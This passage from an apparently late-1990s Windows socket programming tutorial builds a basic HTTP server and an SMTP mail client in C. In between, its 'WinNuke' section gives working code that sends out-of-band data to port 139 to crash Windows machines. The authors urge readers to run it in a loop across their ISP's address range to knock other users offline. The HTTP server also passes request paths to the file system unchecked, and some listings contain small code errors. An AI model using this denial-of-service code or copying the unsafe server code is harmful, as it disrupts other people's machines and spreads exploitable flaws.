These are the headers which Netscape gives us. If it was the Internet Explorer it would also have given us more or less the same request headers. Now that we have received the request header from the client, it is only ethical that we respond to this request. We can sed them the required file with the use of the function ‘ send() ’. How this is done can be seen in the next program.

 
#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\b.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x==WM_USER+1)
        {
               if ( LOWORD(z) == 8)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) == 1)
               {
                       d = recv(s1,bb,2000,0);                       
                       sprintf(aa,"recv = %ld\n",d);
                       abc(bb);
                       strcpy(aa,"HTTP/1.0 200 OK\r\n");
                       strcat(aa,"Content-length:20\r\n\r\n");
                       strcat(aa,"<html>Hello<hr><hr>Hi" );
                       d=send(y,aa,strlen(aa),0);
                       sprintf(aa,"send = %ld",d);
                       abc(aa);
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
        if(x==WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
               A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               MessageBox(0,"first Message","first Box",0);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
        }
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

We store all the contents that have to be sent to the client, in the array ‘ aa ‘ with the help of ‘ strcpy() ‘ and ‘ strcat() ‘ functions. We have to use the ‘ send() ’ function to send our response to the client, which we had stored in this array. This ‘ send() ’ function is passed four parameters. The first parameter to be passed is the socket which accepted the incoming connection. The socket we had used was ‘s1’, but then, this information is also present in ‘ y ’, which is the third parameter of the function ‘ zzz() ‘. We used ‘ y ’ here, just to show you that even ‘ y ’ stores the IP address and port number of the client. It will work equally well if you use ‘ s1 ’. The second parameter of ‘ send() ’ is the array where we have stored the response we want to send to the client. The third specifies the size of the array we want to send, while the last parameter is ‘ 0 ‘. Till now we have told you time and again, don’t ask us what the value ‘ 0 ‘ represents as we shall not explain it.

 

Run this program and ask your friend to connect to your server. You will now see that your job is done. The client which connected, will now receive our default file as shown under.

Hello

Hi

Let's understand what we have sent to the client in our ‘ send() ’ function. The first line "HTTP/1.0 200 OK\r\n" is an important part of our response header. It tells the client that the file requested for has been recognised. Now if you do not have this line as part of your header, you will find that the entire contents of the array is sent across, but the client would still be waiting for the default file. Hence this statement is important to our response.

The next line "Content-length:20\r\n\r\n" is important, as it tells the client how big the file which is going to be transferred, will be. It also specifies that the response header part is over and the part following is the actual file. Here if you use a larger than required content length, then you will see that the client - who connects to your sever, will wait on stop. That is the stop button of the Netscape is still on and he will wait till he receives the whole content length. This will create problems. So you have to use the exact length of your header. If you don’t want to spend the rest of your life just counting the bytes of your file, you can do one of the three following things. Firstly you can copy the contents of the file - you want to send - into an array and find out it's length. Secondly you can specify a length which is smaller than your file. For example, in our program if we had typed the "Content-Length:15 \r\n\r\n" you would still see the whole file go across and Netscape says " Document Done ". Thirdly you could use the function ‘ closesocket() ’ passing the socket to be closed as it's parameter - which in our case is ‘ s1 ‘. How this is done we shall see in the next program. Now all these three methods will work. By now you may have noticed plenty of ‘ \r\n’s’ while we were storing the contents of our response header into an array. You may be wanting to know why we have to write ‘\r\n’ at the end of each of the header line to be transmitted. The first line has ‘\r\n’ to show that it is an end to a command line whereas the second line which says that the header is complete will have two ‘\r\n’, i.e. ‘\r\n\r\n’. The first is to show that the command line is over and the next to say that the contents of the header file is over.

Let's see how we can give a bigger "Content-Length:" and still have our file sent across with the use of the function ‘ closesocket() ’.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\b.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x==WM_USER+1)
        {
               if ( LOWORD(z) == 8)
               {
                       d=sizeof(A1);
                       s1 = accept(s,(struct sockaddr *)&A1,&d);
                       MessageBox(0,"Hello","You are in FD_ACCEPT",0);
               }
               if( LOWORD(z) == 1)
               {
                       d = recv(s1,bb,2000,0);                       
                       sprintf(aa,"recv = %ld\n",d);
                       abc(bb);
                       strcpy(aa,"HTTP/1.0 200 OK\r\n");
                       strcat(aa,"Content-length:1000\r\n\r\n");
                       strcat(aa,"<html>Hello<hr><hr>Hi" );
                       d=send(y,aa,strlen(aa),0);
                       sprintf(aa,"send = %ld",d);
                       abc(aa);
                       closesocket(s1);
                       MessageBox(0,"Hi","You are now in FD_READ",0);
               }
        }
        if(x==WM_LBUTTONDOWN)
        {
               d=WSAStartup(0x101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",d);
               abc(aa);
               s=socket(AF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               A.sin_family=AF_INET;
               A.sin_port=htons(80);
                A.sin_addr.s_addr= INADDR_ANY;
               d=bind(s,(struct sockaddr*)&A,sizeof(A));             
               sprintf(aa,"BIND = %ld\n",d);
               abc(aa);
               WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
               MessageBox(0,"first Message","first Box",0);
               d=listen(s,100);
               sprintf(aa,"LISTEN = %ld\n",d);
               abc(aa);
        }
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have used the ‘ closesocket() ’ function to close the socket. You will notice that we now have a Content-Length of 1000 bytes. The file now goes across to the client without a hitch. This function is to be passed the socket which you want to close, as a parameter. If we had not used this function you would have seen that Netscape would have waited on ‘ Stop ’, i.e. the ‘ Stop ’ button of Netscape would still have been activated and it would still have been waiting for the file from the server.

You will notice that so far we have sent the bare minimum lines of code to the client as the header. These are then sent as headers before the file is sent to the client. But you may also have noticed that Netscape has sent us plenty of headers. Now if you also want to send some more headers to Netscape, you can include the following few lines before before you specify the " Content-Length " but these lines should be after "HTTP/1.0 200 OK"

*********************************************************************

strcat(aa,"Date:Saturday Sat,20 Dec 1997 19:38:46 GMT\r\n");
strcat(aa,"Server:Webster/1.0\r\n");
strcat(aa,"MIME-version:1.0\r\n"); 
strcat(aa,"Content-type:text/plain\r\n");
strcat(aa,"Last-modified:Thursday Thur, 18 Dec 1997 19:38:46 GMT\r\n");     

*********************************************************************

The first line here indicates the date and time the file is sent across to the client. The second line specifies the name of the server which in our case we have said is Webster. Now if you want, you can even put your own name here. The next line specifies the MIME-version number. MIME stands for Multimedia Internet Mail Extensions. It is basically used to tell the client the type of file you are sending across i.e. whether the file sent across is a ‘ Gif ’ file or a ‘ text ’ file or any other file. The next line specifies the ‘Content-Type’ i.e. the type of file that is sent across. If we say this Content-Type is text plain, you will see that the output to the client will appear with tags as shown below.

<Html>Hello<hr><hr>Hi.

So what did this line do to your program. You can see with your own eyes that the file sent by you is with tags. Let's understand that in this line, you have asked the file to be transferred as ‘ text/plain ‘ and the Browser read it as a plain text. You should know that plain text means that none of the contents have to be changed. The tags etc. have to be read as they are. So it displays the file with the tags. Now instead of plain, if you had said "html", the file that the client receives would be the same decent little file, without tags, that we had sent earlier.

This last line requires some explanation. Netscape has an internal directory known as ‘ Cache ’. Whenever you visit a site, the files that you visit along with their headers are automatically stored by Netscape in this ‘ Cache ’ directory. This directory has been allotted a specific number of bytes by Netscape. When these bytes allocated have been fully occupied, and if you visit more sites then the old files exisiting in ‘ Cache ’ will be deleted to make space for the new file. When Netscape does a ‘ recv() ’ from the server it first makes a request for the headers from the server. Once it receives the headers, it checks for the "Last-Modified" date and time. Once it reads this header, it then checks it's cache directory to see whether it has the same file. If it realises that there has been no modification to that file since the last time it had downloaded that file, it would merely display the file that is already present in it's cache directory. In other words Netscape internally calls ‘ recv() ’ twice. The first time it calls the ‘ recv() ’ function to get the headers from the server and next time to get the actual data. If during the first ‘ recv() ’ it sees that there is no change in the ‘Last-Modified" date and time, it gets the file from it's own cache directory, if the file is present in it's own directory. While on the topic of Netscape, you will also notice that Netscape does not show you the header bytes it has received from the server.

In the above program, we have sent a default file which is small. This posed no problems. In actual practice when a client connects to our server and asks for a particular file, then we have to send that file across to the client. For sending the file across, you have to first read this file from the hard disk into an array, and then send it across to the client. This slows down the performance of the server.

Final HTTP Server Program

#include<windows.h>
#include<stdio.h>
WNDCLASS a;
long _stdcall zzz();
HWND b;
MSG c;
long d;WSADATA ws;
char aa[1000];
FILE *fp;
long size;
char header[1000];
char bb[1000];
char *pp;
char *p;
char buf[1000];
int e,s,fn;
struct sockaddr_in A;
char filename[1000];
 
void abc(char *p)
{
        FILE *fp;
        fp=fopen("C:\\z.txt","a+");
        fprintf(fp,"%s\n",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
        a.hInstance=i;
        a.lpszClassName="Hi";
        a.lpfnWndProc=zzz;
        a.hbrBackground=GetStockObject(WHITE_BRUSH);
        a.hCursor=LoadCursor(0,IDC_ARROW);
        RegisterClass(&a);
        b=CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,100,200,300,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y,long z)
{
        if(x==WM_LBUTTONDOWN)
        {
 
        d=WSAStartup(0x101,&ws);
        sprintf(aa,"%d WSAStartup",d);
        abc(aa);
        s=socket(AF_INET,SOCK_STREAM,0);
        A.sin_family=AF_INET;
        A.sin_port=htons(80);
        A.sin_addr.s_addr=INADDR_ANY;
        d=bind(s,&A,sizeof(A));
 
        d=WSAAsyncSelect(s,b,WM_USER,FD_ACCEPT | FD_READ);
        d=listen(s,100);
        
 
        }
 
        if (x==WM_USER)
        {
               if(LOWORD(z)== FD_ACCEPT)
               {
                       d=sizeof(A);
                       accept(s,&A,&d);
               }
               if(LOWORD(z)== FD_READ)
               {
                       d=recv(y,aa,1000,0);aa[d]=0;
                       abc(aa);
                       p=aa;
                       p=p+4;
                       e=0;
                       while(*p!=32)
                       {
                               if (*p=='/')
                               {
                                      buf[e]='\\';   
                               }
                               else 
                                      buf[e]=*p;
                               if(buf[e]=='.')
                                      fn=1;
                               p++;
                               e++;
                       }
                       buf[e]=0;
                       if (strlen(buf)==1)
                               strcpy(filename,"c:\\Website\\wsdocs\\index.html");
                       else
                       {
                               strcpy(filename,"c:\\website");
                               strcat(filename,buf);
                               if(fn==0)
                                      strcat(filename,"index.html");
                       }
                               abc(filename);
                       
                       fp=fopen(filename,"rb");
                       fseek(fp,0,2);
                       size=ftell(fp);
 
                       strcpy(header,"HTTP/1.0 200 ok \r\n");
 
                       sprintf(bb,"Content-Length:%ld\r\n\r\n",size);
                       strcat(header,bb);
                       send(y,header,strlen(header),0);
                       pp=malloc(size);
                       fseek(fp,0,0);
                       fread(pp,size,1,fp);
                       send(y,pp,size,0);
                       closesocket(y);
               }
        }
 
        if(x==WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}
 

There is also a concept called as the server side includes. Let's understand what this means. There may be variables in a sentence that are understood by the server alone. For example, the server has to keep a track of the number of people visiting the site on a particular day. For this we may have a statement in the default file that would have said "You are visitor number ‘ x ’ today ". For this purpose the server has to replace the variable ‘ x ’ with the actual number of people visiting the site before sending the page to the client. The server has to first pick up the value of the variable ‘ x ‘ and put it in the sentence and then transmit the file to the client. This also makes the performance of the server slow.

There is also something known as ASP i.e. Active Server Pages. It is possible that the file to be transmitted starts with a special character. For example an ‘ & ’ sign or an ‘!‘ sign or some other character. These characters may hold special meaning to the server. It is also possible to have our own programming language, within comments, at the start of the file. The server on seeing this commented lines of code would recognise the program written. In the program within the comments, we could ask the server to get a file from a particular database and send it as an attachment to the file. The server will then have to search for the file in the database and then transfer the file to the client. This again slows down the server.

There is also a complication with different Operating Systems. A server working in Windows Operating System will be slower as compared to the same server working under UNIX. This is not because the server is written better under UNIX but because the UNIX file system is raw and it gives you a faster throughput time than Windows-NT. Thus we can see that the same server under different Operating Systems give faster output.

Friends, even though there are drawbacks for the server, you should now be happy that after all the discomforts, you finally have your server ready. With this creation, you are now the master of a server. After such complex programs, we feel that you should let out some steam. By this, we are not asking you to beat up some person. Remove your frustrations on some other person's machine. By this we are not asking you to go and break his machine, we are merely showing you how you can hang his machine. So let’s learn how to hang a machine all by ourselves using the knowledge we have acquired so far.

Common Gateway Interface (CGI)

<html>
<form method=get action="http://70.0.0.1/a.exe">
<input type=text name=aa><p>
<input type=text name=bb><p>
<input type=submit value-"Click Here">
<input type=reset value="Reset All">
</form>
</html>

" WIN - NUKE "

What is the first thing that comes to your mind when you hear or read the word ‘ Nuke’ ? Yes, it is the word synonymous with destruction, etc. Well, how would you like to hang a machine on the Internet? Does it not sound exciting? To hang a server which is situated at a far off place. Imagine you doing that same thing sitting in your living room munching peanuts!!! Does it not sound interesting? Well, we will now show you how to do this very same thing.

If you are looking for some big changes, from what we have done earlier, then forget it. You are in for a big disappointment. Why not go ahead and find out how it is possible to hang a machine on the Internet?

We hope that you have already passed through the rigors of creating the HTTP server and HTTP client. If you have, then this program is a piece of cake. Let’s roll up our sleeves and get to work. Take a look at our first program.

Let’s start with initialising our usual code that comprises of functions like WSAStartup(), socket() and the members of the structure which looks like sockaddr_in. And connect to a Windows server.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
SOCKET s;
WSADATA ws;
DWORD e;
struct sockaddr_in h;
char aa[200];
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
 
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x == WM_LBUTTONDOWN)
        {
               e = WSAStartup(0x0101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",e);
               abc(aa);
               s = socket(PF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               h.sin_family = AF_INET;
               h.sin_port = htons(139);
               h.sin_addr.s_addr = inet_addr("70.0.0.5");
               e = connect(s,(struct sockaddr *)&b,sizeof(b));
               sprintf(aa,"CONNECT = %ld\n",e);
               abc(aa);
        }
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

By this time we hope that we don’t have to explain to you what the function WSAStartup() and the function socket() means. Some of you may be worried after looking at the first parameter of the socket function. This first parameter ‘PF_INET’ is nothing but just another #defined present in the header file ‘windows.h’ or another header file that ‘ windows.h ’ called. We are merely using different Macros, which perform the same functions. This is to help you sprout these Macro names at a meeting or social gathering, so as to impress other people with your immense knowledge about the Internet. The only interesting part of the initialisation process is the port number in the function ‘ htons() ’. As compared to previous programs, the port number has now been changed to ‘ 139 ‘. This number is the port number of the NetBios server of Windows. NetBios used to be Microsoft’s networking software. So now we can safely say that whenever Windows gets loaded, it's NetBios server is said to be listening on port number 139.

In the ‘ connect() ’ we are doing nothing other than connecting to the server whose IP address is "70.0.0.3". So far you are still on familiar grounds. Just for safety sake take a peek in the "bb.txt" file. The output that is now displayed in the file is as shown below.

 

WSASTARTUP = 0
SOCKET = 3
CONNECT = 0

Now let’s deviate from the normal practice and make some changes in the ‘ send() ’ function in our next program.

#include <windows.h>
#include <stdio.h>
 
WNDCLASS a;
MSG c;         
HWND b;
long _stdcall zzz();
SOCKET s;
WSADATA ws;
DWORD e;
int x;
struct sockaddr_in h;
char aa[200];
char str[100];
 
void abc(char *p)
{
        FILE *fp=fopen("c:\\bb.txt","a+");
        fprintf(fp,"%s",p);
        fclose(fp);
}
 
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
        a.hInstance = i;
        a.lpszClassName = "Hi";
        a.lpfnWndProc = zzz;
        a.hbrBackground = GetStockObject(WHITE_BRUSH);
        RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
        ShowWindow(b,3);
        while(GetMessage(&c,0,0,0))
               DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
        if(x == WM_LBUTTONDOWN)
        {
               e = WSAStartup(0x0101,&ws);
               sprintf(aa,"WSASTARTUP = %ld\n",e);
               abc(aa);
               s = socket(PF_INET,SOCK_STREAM,0);
               sprintf(aa,"SOCKET = %ld\n",s);
               abc(aa);
               h.sin_family = AF_INET;
               h.sin_port = htons(139);
               h.sin_addr.s_addr = inet_addr("70.0.0.2");
               e = connect(s,(struct sockaddr *)&h,sizeof(h));
               sprintf(aa,"CONNECT = %ld\n",e);
               abc(aa);
               sprintf(str,"Hello");
               x = send(s, str, strlen(str), MSG_OOB);
               sprintf(aa,"SEND = %d\n",x);
               abc(aa);
               MessageBox(0,"End","End",0);
        }
 
        if (x== WM_DESTROY)
               PostQuitMessage(0);
        return DefWindowProc(w,x,y,z);
}

In this program we have added a ‘ send() ’ function. This function is passed four parameters. The first is a socket which knows the IP address and the port number of the server we want to connect to. The second parameter is a string which you want to send across. The third parameter is the length of the string you sent. The fourth parameter is a Macro ‘ MSG_OOB ’.

We know that in the TCP/IP header - which we had previously learnt some decades ago while learning the HTTP client - the last two bytes of the TCP header are known as urgent pointers. At times, when a TCP/IP communication process is going on, the user may press some key. For example, the user may press the delete key, or if there is an FTP going on, the user may press cancel, to say he wants to stop the entire process. Now shouldn’t he inform the server and tell him to stop the entire process. In other words we have to give the server an urgent message. At that point, the server is supposed to tell it's TCP/IP stack to read only what the user is currently sending.

When you use the ‘ send() ’ function, the last parameter becomes very important. This last parameter sets a flag. When we say MSG_OOB, we are asking the ‘ send() ‘ function to set a flag ‘ on ’ in the header it sends to the server. This flag is known as the ‘ URG ’ flag. When the server receives this header, with the ‘ URG ’ flag on, it knows that there is number in the Urgent Pointer. This Urgent Pointer tells the server, the number of bytes of data following the header, that it is supposed to read first.

Let’s assume that we want to send " Hello". This string is copied into an array ‘ str ’. The third parameter is the number that should be placed into the Urgent Pointer. In our program, since we have placed ‘ strlen(str) ‘ as the third parameter, the length of the string will be placed into the Urgent Pointer field. If this third parameter had been made ‘ 2 ’, then ‘ 2 ’would have been placed into the Urgent Pointer field. This would have told the server that only the first two bytes of the data are urgent. Now, we are sending this packet with the URG flag ‘ on ’, over to a NetBios server. This server is listening on port number 139.

Let us understand that the, Windows TCP/IP stack may not have been written by Microsoft. This is because in the previous version of Windows i.e. 3.1, there was no such thing as a TCP/IP stack. The TCP/IP stack was a separate program that could be bought from another company and loaded on to Windows3.1. Now when they were designing the Windows95 version, they were not very sure as to how much the Internet would grow. Now do not quote us anywhere. We say that this may be true, but if this statement is not true, at least it is a certainty that this stack was not properly tested before Windows95 was officially released.

When a Windows machine is sent a packet with the URG flag ‘ on ‘, we find that the machine gets disconnected from the network. One of the programs that handle networking functions on the machine, hang. In other words, we are saying that either the TCP/IP stack hangs, or the NetBios Server program hangs. We do not know which one of them hangs, and we personally don’t think Microsoft intends letting us know. On the machine that hangs, a blue screen displays a message that there were errors in some VxD. This means that the machine has hung due to errors in a VxD or Virtual Device Driver after it has received a packet with the URG flag ‘ on ‘. The code of every function in Windows ultimately exists in Virtual Device Drivers. If even one of the Virtual Device Drivers, in which the code of the Windows TCP/IP stack is present, hangs, all networking activities of the machine come to a stop.

The output in the "bb.txt" however you will see that it remains unchanged.

WSASTARTUP = 0
SOCKET = 3
CONNECT = 0
SEND = 5

Thus we see how simple it is to hang a server on the Internet. You have to however realise, that this is possible only if the machine you tried to hang is running through a Windows application. So now whenever you try to connect to V.S.N.L. and you can’t get through, you can call up a friend and ask him to run this program in a loop. We know that the IP addresses given by V.S.N.L. start from 202.54.1.... Now using these numbers in a loop he can WinNuke some connections on the Internet whereby making some lines available for you to connect to the Internet.

Nowadays, there is a patch available for this bug at the Microsoft site. So if you go to that site, you can download the patch and install it in your machine. Once you install this patch in your machine, your machine is safe from being WinNuked and you would not have to worry about being thrown out of the Internet. This thing works both ways. If the other machine you are trying to WinNuke has this patch installed in his machine, then you will not be able to WinNuke his machine.

Now let’s proceed on to something more easy or should we say simple as in " Simple Mail Transfer Protocol " or better known as S.M.T.P. or an E-Mail. You lucky chaps. We shall now explain to you how an E-Mail works in our next session.

 

" SIMPLE MAIL TRANSFER PROTOCOL (S.M.T.P.) "

What do you mean when you say that you are sending an E-Mail to someone ? Do you know how E-Mail works or how simple it is ? Have you ever spared a thought to the process your message has to go through, when you send an E-Mail to someone ? If the answer is ‘ no ‘, don’t worry, after you go through this topic you may be able to answer most of these questions in the affirmative.

The process of creation of the S.M.T.P. server will seem so absurdly simple that you will say at the end of this topic that this S.M.T.P. should stand not for " Simple Mail Transfer Protoco " but for " Stupid Mail Transfer Protocol." Now how do we go about creating this server.

#include <windows.h>
#include <stdio.h>
 
void abc(char *p)
{ FILE *fp=fopen("c:\\sz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct sockaddr_in A;
WSADATA W;
SOCKET S;
int i;
char aa[100];
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char *k, int l)
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(25);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i = connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
}

This initial program however, brings back memories of our first WinSock Program viz. the creation of our HTTP Browser. Now we are a bit happy that these lines of code has been explained so many times that we feel that we can skip the explanations this time. We however, have to explain, that the port number passed in the ‘ htons() ‘ function i.e. ‘ 25 ’, represents the port number of the S.M.T.P. server. The IP address given in the ‘ inet_addr() ’ function, is the address of the S.M.T.P. server of our Internet Service Provider or ‘ I.S.P. ’ which is V.S.N.L. By now you should be familiar with the parameters of the function ‘ connect() ’.

With these lines of code being shrugged off we can now proceed on with the creation of the S.M.T.P. server.

#include <windows.h>
#include <stdio.h>
 
void abc(char *p)
{ 
FILE *fp=fopen("c:\\sz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
 
struct sockaddr_in A;
WSADATA W;
SOCKET S;
char aa[100];
int i;
char R[10000];
 
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char *k, int l
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(25);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i=connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"HELO vijay.com\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"MAIL FROM:<abc@giasbm01.vsnl.net.in>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"RCPT TO:<vijay1@giasbm01.vsnl.net.in>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"DATA\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"To: aaa.com\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"FROM: vijay1@giasbm01.vsnl.net.in\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"DATE: 6 Dec 97 20:14 PST\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"MESSAGE_ID: <123@e.com>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"Hello\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"How are you\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,".\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"QUIT\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
return 0;
} 

Well now looking at this code what do you find ? No, we are not crazy to simply type in the whole program at once. Just take a look at the code, and if you think you need any explanations for each line step by step, then you should really be dumb.

The real logic behind sending E-mail, is merely receiving and sending bytes. The person who designed the S.M.T.P. said that whenever you wanted to send an E-Mail, you have to first connect to an S.M.T.P. server - preferably your own.

After we connect to the server, we have to wait for a ‘ recv() ’ and we know that ‘ recv() ‘ is a blocking function. The function ‘ recv() ’ is passed four parameters. The first parameter is ‘S’ which looks like the Macro SOCKET. Any message we receive from the server, is stored in the second parameter which is an array. The third parameter is the length of this array. This parameter specifies the maximum length of the message we can receive from the server. The last parameter is ‘ 0 ’ which we as usual won’t explain.

The server will come back and say that everything is O.K. on the server side and we may now begin sending the E-Mail header This message which was received from the server has been captured by the ‘ recv() ‘ function in the array ‘ R ’. Looking at the output in the "sz.txt" file you will be amazed at the quantum of output this program has generated for us. The output in "sz.txt" upto this point however is as shown below.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)

By now we should be happy that we could successfully connect to the S.M.T.P. server. In this output the number ‘ 220 ’ is an error check. It tells that the connection with the server has been successfully made. This is also proved when we find ‘connect 0‘ in our "sz.txt" file. Now we can see what the server has sent us. The S.M.T.P. server is now sending us his name and the time we had connected to this server. This was the output of our first ‘ recv() ’ function.

Let’s go further. The moment the server says that all is O.K. on his side, we have to start sending him our E-Mail’s headers. Friends, before sending our message to the S.M.T.P. server there is a certain set of protocols we have to follow. You have to first send the server a ‘HELO‘ and along with this you also have to mention the name of the computer you are working on. Here, you can give any name, as the computer’s name. He won’t give you a problem, but ‘HELO’ is a must. This line however has to end with a ‘ \r\n ‘ to show that we have finished sending our first command to the server. The entire command which we are going to send is first stored into an array ‘R’. The command is sent across to the server through the ‘ send() ’ function. This function is to be passed four parameters. The first parameter is the variable ‘ S ’. The second parameter is the array where we have stored the command which we want to send to the S.M.T.P. server. The third parameter specifies the length of the array. The last parameter is ‘ 0 ‘ and is, as usual, unexplained.

What does this command show ? Does this not show that the S.M.T.P. server was written by a person who did not know how to spell ‘ Hello ’ in English? Because of this, he put ‘ HELO ‘ as the syntax to be used before sending an E-Mail. But as it is already too late to correct his spelling we should also write ‘ HELO ’. By now, we have already learnt the basic thing about syntax the hard way. Do not argue with syntax. If the program wants a ‘ HELO ’ to be sent first, so be it. We won’t argue. We have to wait on our ‘ recv() ‘ function. The output in our " sz.txt " file, until this point are shown below.

connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16 
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you

